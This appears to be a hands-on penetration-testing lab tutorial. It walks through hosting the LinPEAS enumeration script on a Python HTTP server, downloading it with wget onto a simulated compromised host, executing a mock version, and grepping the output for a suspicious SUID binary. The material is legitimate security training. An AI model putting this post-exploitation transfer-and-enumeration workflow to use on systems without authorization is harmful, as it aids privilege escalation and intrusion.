Introduction
Privilege escalation is a critical phase in penetration testing and ethical hacking. Once an attacker gains initial low-privileged access to a system, their next goal is often to elevate their privileges to an administrator or root user. Successful privilege escalation relies heavily on meticulous system enumeration—gathering as much information as possible about the target system's configuration, running processes, file permissions, and installed software.
This module should reinforce a core rule: enumeration comes before exploitation. Most successful privilege escalation is not magic; it is noticing a misconfiguration or relationship that was already there.
To streamline this tedious process, security professionals use automated enumeration scripts. One of the most popular and industry-standard tools is LinPEAS (Linux Privilege Escalation Awesome Script). LinPEAS automatically searches for possible paths to escalate privileges on Linux/Unix/macOS hosts and highlights findings using a color-coded system to indicate the probability of a successful exploit.
Automation helps because modern systems have too many moving parts to inspect fully by hand on every engagement. But the script output still needs human interpretation.
In this lab, you will simulate a post-exploitation scenario. You will act as a penetration tester who needs to transfer the LinPEAS script from your "attacker" machine to a "target" machine, execute it, and analyze the output to identify high-probability escalation vectors.
Start Local Web Server for Transfer
In this step, you will learn how to host files so they can be transferred to a target machine. During a penetration test, you often have a useful script (like LinPEAS) on your local machine, but you need a way to get it onto the compromised target server.
A quick and built-in way to host files in Linux is by using Python's HTTP server module. This allows you to turn any directory into a lightweight web server instantly.
For this lab, we have simulated two environments within your workspace. The ~/project/attacker directory represents your local machine containing the linpeas.sh script. The ~/project/target directory represents the compromised server where you need to download the script.
First, navigate to the attacker directory where the script is located:
cd ~/project/attacker
List the contents of the directory to verify the script is there:
ls -l
You should see linpeas.sh in the output. Now, start a Python HTTP server on port 8080. We will use the & symbol at the end of the command to run the server in the background, allowing you to continue using the same terminal window:
python3 -m http.server 8080 &
You will see an output similar to this, indicating the server is running:
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
Press Enter once to bring your terminal prompt back. Your local web server is now actively hosting the linpeas.sh file.
Download LinPEAS to Target
In this step, you will act as the compromised target machine and download the script from the attacker's web server.
Linux systems typically have command-line download utilities installed by default, such as wget or curl. These tools are invaluable for pulling scripts and exploits onto a target system.
First, navigate to the simulated target directory:
cd ~/project/target
Now, use the wget command to download the linpeas.sh script from the local web server you started in the previous step. Since the server is running on the same environment for this lab, you will use localhost as the address:
wget http://localhost:8080/linpeas.sh
You will see output showing the download progress:
--2026-10-25 10:00:00-- http://localhost:8080/linpeas.sh
Resolving localhost (localhost)... 127.0.0.1
Connecting to localhost (localhost)|127.0.0.1|:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 645 [text/x-sh]
Saving to: ‘linpeas.sh’
linpeas.sh 100%[===================>] 645 --.-KB/s in 0s
2026-10-25 10:00:00 (15.4 MB/s) - ‘linpeas.sh’ saved [645/645]
Verify that the file has been successfully downloaded by listing the directory contents:
ls -l
You should now see linpeas.sh residing in your ~/project/target directory.
Execute the Script
In this step, you will prepare and execute the LinPEAS script.
Running the tool is only the beginning. The real value comes from recognizing which findings are normal noise and which ones map to practical escalation paths.
When you download a script from the internet or transfer it via a web server, Linux removes its "executable" permission for security reasons. If you try to run it immediately, you will receive a "Permission denied" error.
To fix this, you must use the chmod (change mode) command to add the executable (+x) permission to the file.
Run the following command to make the script executable:
chmod +x linpeas.sh
If you run ls -l again, you will notice the file permissions have changed (typically showing rwx for the user), and the filename might appear in a different color in your terminal, indicating it is now an executable program.
Now, execute the script. In Linux, to run an executable file located in your current directory, you must prefix it with ./. This tells the system exactly where to find the program:
./linpeas.sh
You will see the script run and output various system checks. In a real-world scenario, LinPEAS outputs thousands of lines of information. For this lab, we are using a streamlined mock version that highlights the core concepts.
[+] LinPEAS - Linux Privilege Escalation Awesome Script (Mock Version)
========================================================================
[?] Basic System Information
Linux labex-vm 5.15.0-1040-aws #45-Ubuntu SMP ...
[!] HIGH PROBABILITY PRIVILEGE Escalation VECTORS
[+] SUID files:
-rwsr-xr-x 1 root root 43K /usr/bin/sudo
-rwsr-xr-x 1 root root 32K /usr/bin/su
-rwsr-xr-x 1 root root 15K /usr/bin/custom_backup (Unknown SUID)
[?] Checking sudo permissions
User labex may run the following commands on this host:
(ALL : ALL) ALL
[+] Enumeration Completed.
Take a moment to look at the output. Notice how it categorizes information into sections like "Basic System Information" and "SUID files".
Analyze High-Probability Vectors
In this step, you will learn how to manage and analyze the output generated by enumeration scripts.
Because real enumeration scripts produce an overwhelming amount of text, penetration testers rarely just read it off the terminal screen. Instead, they redirect the output into a text file so they can search through it later using tools like grep.
Let's run the script again, but this time, we will use the > operator to redirect the output into a file named results.txt:
./linpeas.sh > results.txt
Notice that nothing printed to the screen this time. All the text was sent directly into results.txt.
Now, let's analyze the results. LinPEAS is famous for its color-coding, where RED/YELLOW text indicates a 99% probability of a privilege escalation vector. In our output, it flagged an "Unknown SUID" file.
SUID (Set owner User ID up on execution) is a special type of file permission given to a file. When a file with SUID is executed, it runs with the privileges of the file owner (often root), rather than the user who ran it. If a custom or vulnerable binary has the SUID bit set, attackers can exploit it to gain a root shell.
Use the grep command to search the results.txt file specifically for the keyword SUID:
grep "SUID" results.txt
You should see the following output:
[+] SUID files:
-rwsr-xr-x 1 root root 15K /usr/bin/custom_backup (Unknown SUID)
By filtering the output, you have successfully identified a highly suspicious file (/usr/bin/custom_backup). In a real penetration test, your next step would be to investigate this specific binary to see if it can be exploited to grant you root access.
Summary
In this lab, you experienced the critical process of automated system enumeration for privilege escalation. You learned how to host files locally using Python's built-in HTTP server module. You also learned how to transfer files to a target machine using command-line tools like wget. Furthermore, you practiced modifying file permissions to make scripts executable and running them. Finally, you learned how to redirect script output to a file and use grep to analyze the data for high-probability escalation vectors, such as misconfigured SUID binaries.
These fundamental skills are essential for any security professional or penetration tester when assessing the internal security posture of a Linux system.
